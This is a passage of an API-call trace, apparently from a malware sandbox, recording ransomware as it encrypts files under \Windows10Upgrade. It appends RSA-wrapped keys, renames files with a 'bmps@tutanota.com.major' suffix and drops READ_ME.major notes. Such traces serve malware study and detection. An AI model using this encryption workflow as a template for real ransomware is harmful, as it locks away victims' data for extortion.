hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0144.140] FindNextFileW (in: hFindFile=0x60e928, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37e09b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37e09b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xb8400, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 1 [0144.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0144.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0144.140] GetLastError () returned 0x0 [0144.140] SetLastError (dwErrCode=0x0) [0144.140] GetLastError () returned 0x0 [0144.140] SetLastError (dwErrCode=0x0) [0144.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0144.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0144.140] GetLastError () returned 0x0 [0144.140] SetLastError (dwErrCode=0x0) [0144.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0144.140] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0144.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0144.141] FindNextFileW (in: hFindFile=0x60e928, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37e09b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37e09b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xb8400, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 0 [0144.141] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0144.141] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0144.141] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0144.141] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\dll2\\webservices.dll", dwFileAttributes=0x80) returned 1 [0144.141] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0144.141] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0144.141] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.141] CreateFileW (lpFileName="\\Windows10Upgrade\\dll2\\webservices.dll" (normalized: "c:\\windows10upgrade\\dll2\\webservices.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a0 [0144.141] GetFileSizeEx (in: hFile=0x5a0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=754688) returned 1 [0144.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb8400) returned 0x677020 [0144.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb8400) returned 0x314d020 [0144.142] ReadFile (in: hFile=0x5a0, lpBuffer=0x677020, nNumberOfBytesToRead=0xb8400, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x677020*, lpNumberOfBytesRead=0x2e3f9b4*=0xb8400, lpOverlapped=0x0) returned 1 [0144.197] SetFilePointer (in: hFile=0x5a0, lDistanceToMove=-754688, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.197] WriteFile (in: hFile=0x5a0, lpBuffer=0x314d020*, nNumberOfBytesToWrite=0xb8400, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314d020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb8400, lpOverlapped=0x0) returned 1 [0144.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x677020 | out: hHeap=0x570000) returned 1 [0144.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x314d020 | out: hHeap=0x570000) returned 1 [0144.200] SetFilePointer (in: hFile=0x5a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb8400 [0144.200] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.200] WriteFile (in: hFile=0x5a0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.200] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0144.200] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0144.200] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0144.200] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0144.200] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="LQFIf6sasp28XJEKp1bcAsMZ2MyXM5n72kX/G/kFJvgN2FQutDwN6RnviyKgrzgv\nrUkZmBUX8TaMZKblDg0bSODMOZ9u4ws3PRs5qQfExLZAw6TLBSzH99X4q5BOQJlX\nU3KbbRXl3vbDs/pm6qYYDCSAMfIAxrTrRxDnp1nDBb9PXicpkUOHTtJE+YEk8z4R\nevKTRklxVk4n/2WkD5hqV+u683WirkTB3ilvXuZ8eqf3Rq33XfKQjWWPkuYV6PYf\nby21Ima6pP25Mg/E89V9viR0HGFLDV+pjEEiYi6zp0h7FIcR5pfOpLQdj2Je8SLz\n81N+CRZiF+9/Hu5yFaYiWQ==\n", pcchString=0x2e3f9a8) returned 1 [0144.200] WriteFile (in: hFile=0x5a0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0144.201] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.201] WriteFile (in: hFile=0x5a0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.201] CloseHandle (hObject=0x5a0) returned 1 [0144.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0144.201] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\dll2\\webservices.dll" (normalized: "c:\\windows10upgrade\\dll2\\webservices.dll"), lpNewFileName="\\Windows10Upgrade\\dll2\\webservices.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\dll2\\webservices.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0144.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0144.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0144.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0144.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0144.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0144.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0144.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c79f0 | out: hHeap=0x570000) returned 1 [0144.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e7f0 | out: hHeap=0x570000) returned 1 [0144.203] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b3c1b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc8210a2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60ede8 [0144.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0144.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d50 [0144.203] GetLastError () returned 0x0 [0144.203] SetLastError (dwErrCode=0x0) [0144.203] GetLastError () returned 0x0 [0144.203] SetLastError (dwErrCode=0x0) [0144.203] GetLastError () returned 0x0 [0144.203] SetLastError (dwErrCode=0x0) [0144.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0144.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0144.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0144.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60ed68 [0144.204] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ed68 | out: hHeap=0x570000) returned 1 [0144.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0144.204] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0144.204] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0144.204] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0144.204] FindNextFileW (in: hFindFile=0x60ede8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b3c1b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc8210a2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.204] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d50 | out: hHeap=0x570000) returned 1 [0144.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d98 [0144.204] GetLastError () returned 0x0 [0144.204] SetLastError (dwErrCode=0x0) [0144.204] GetLastError () returned 0x0 [0144.204] SetLastError (dwErrCode=0x0) [0144.204] GetLastError () returned 0x0 [0144.204] SetLastError (dwErrCode=0x0) [0144.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0144.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0144.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0144.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eea8 [0144.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0144.204] FindNextFileW (in: hFindFile=0x60ede8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a5195, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3a5195, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="amd64", cAlternateFileName="")) returned 1 [0144.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7c30 [0144.204] GetLastError () returned 0x0 [0144.204] SetLastError (dwErrCode=0x0) [0144.204] GetLastError () returned 0x0 [0144.205] SetLastError (dwErrCode=0x0) [0144.205] SetLastError (dwErrCode=0x0) [0144.205] SetLastError (dwErrCode=0x0) [0144.205] GetLastError () returned 0x0 [0144.205] SetLastError (dwErrCode=0x0) [0144.205] GetLastError () returned 0x0 [0144.205] SetLastError (dwErrCode=0x0) [0144.205] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\READ_ME.major" (normalized: "c:\\windows10upgrade\\resources\\amd64\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a4 [0144.219] WriteFile (in: hFile=0x5a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.220] CloseHandle (hObject=0x5a4) returned 1 [0144.220] FindNextFileW (in: hFindFile=0x60ede8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3a78b4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a78b4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xc981b, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="hwcompatShared.txt", cAlternateFileName="HWCOMP~1.TXT")) returned 1 [0144.220] SetLastError (dwErrCode=0x0) [0144.220] GetLastError () returned 0x0 [0144.220] SetLastError (dwErrCode=0x0) [0144.220] SetLastError (dwErrCode=0x0) [0144.220] FindNextFileW (in: hFindFile=0x60ede8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b1515, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3b1515, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="i386", cAlternateFileName="")) returned 1 [0144.220] SetLastError (dwErrCode=0x0) [0144.221] GetLastError () returned 0x0 [0144.221] SetLastError (dwErrCode=0x0) [0144.221] GetLastError () returned 0x0 [0144.221] SetLastError (dwErrCode=0x0) [0144.221] SetLastError (dwErrCode=0x0) [0144.221] SetLastError (dwErrCode=0x0) [0144.221] GetLastError () returned 0x0 [0144.221] SetLastError (dwErrCode=0x0) [0144.221] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\i386\\READ_ME.major" (normalized: "c:\\windows10upgrade\\resources\\i386\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a4 [0144.254] WriteFile (in: hFile=0x5a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.255] CloseHandle (hObject=0x5a4) returned 1 [0144.255] FindNextFileW (in: hFindFile=0x60ede8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8210a2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0xc8210a2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc8210a2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.255] SetLastError (dwErrCode=0x0) [0144.255] GetLastError () returned 0x0 [0144.255] SetLastError (dwErrCode=0x0) [0144.255] SetLastError (dwErrCode=0x0) [0144.255] FindNextFileW (in: hFindFile=0x60ede8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea63c947, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ux", cAlternateFileName="")) returned 1 [0144.255] SetLastError (dwErrCode=0x0) [0144.255] GetLastError () returned 0x0 [0144.255] SetLastError (dwErrCode=0x0) [0144.255] GetLastError () returned 0x0 [0144.255] SetLastError (dwErrCode=0x0) [0144.255] SetLastError (dwErrCode=0x0) [0144.255] GetLastError () returned 0x0 [0144.255] SetLastError (dwErrCode=0x0) [0144.255] SetLastError (dwErrCode=0x0) [0144.255] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\READ_ME.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a4 [0144.265] WriteFile (in: hFile=0x5a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.266] CloseHandle (hObject=0x5a4) returned 1 [0144.266] FindNextFileW (in: hFindFile=0x60ede8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea63c947, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ux", cAlternateFileName="")) returned 0 [0144.266] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0144.266] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\hwcompatShared.txt", dwFileAttributes=0x80) returned 1 [0144.266] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\hwcompatShared.txt" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a4 [0144.267] GetFileSizeEx (in: hFile=0x5a4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=825371) returned 1 [0144.267] ReadFile (in: hFile=0x5a4, lpBuffer=0x675020, nNumberOfBytesToRead=0xc981b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x675020*, lpNumberOfBytesRead=0x2e3f9b4*=0xc981b, lpOverlapped=0x0) returned 1 [0144.306] SetFilePointer (in: hFile=0x5a4, lDistanceToMove=-825371, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.306] WriteFile (in: hFile=0x5a4, lpBuffer=0x3144020*, nNumberOfBytesToWrite=0xc981b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3144020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc981b, lpOverlapped=0x0) returned 1 [0144.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x675020 | out: hHeap=0x570000) returned 1 [0144.309] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3144020 | out: hHeap=0x570000) returned 1 [0144.309] SetFilePointer (in: hFile=0x5a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc981b [0144.309] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.309] WriteFile (in: hFile=0x5a4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.309] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0144.309] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0144.310] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0144.310] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0144.310] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Xvp0uLIpdsSuhkmAv4uexEgzfKCCWVUNON3vI5o8QisgRtZvdxSRMHjGWDgo9pl7\njV1rNHERdUf1neW/i9OJiIe3o4S4GAKDJ2+lmCfiwh8n7+by2RaKnG2A3s7nDjuj\nZI0UUejMXYvk3Z6ph/1pCKbS2MLkatSBUXyST64NL6Afa8w/e75l4GOnqGXiK5Ls\ni8Y4/e8IAPdrWyxb9uy0kqKDuxo1K3BPI3OWzHlH6wCCTLbh97SFsT7YLw3vfrsE\nzw0Q+E3+S1TB3aGb2db2wvAcOGy9VZUfZ0g792u/sJwPE2wAVArCu3EpX63WVlsy\npA+VUj67LcKhQGgT3VpIiQ==\n", pcchString=0x2e3f9a8) returned 1 [0144.310] WriteFile (in: hFile=0x5a4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0144.310] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0144.310] WriteFile (in: hFile=0x5a4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0144.310] CloseHandle (hObject=0x5a4) returned 1 [0144.310] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0144.310] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\hwcompatShared.txt" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt"), lpNewFileName="\\Windows10Upgrade\\resources\\hwcompatShared.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0144.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0144.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0144.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0144.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0144.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0144.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0144.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0144.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0144.317] FindFirstFileW (in: lpFileName="\\Boot\\Resources\\en-US\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1506e19e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60ea28 [0144.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0144.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7de0 [0144.317] GetLastError () returned 0x0 [0144.317] SetLastError (dwErrCode=0x0) [0144.317] GetLastError () returned 0x0 [0144.317] SetLastError (dwErrCode=0x0) [0144.317] GetLastError () returned 0x0 [0144.317] SetLastError (dwErrCode=0x0) [0144.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0144.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0144.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11a8 [0144.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60ece8 [0144.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ece8 | out: 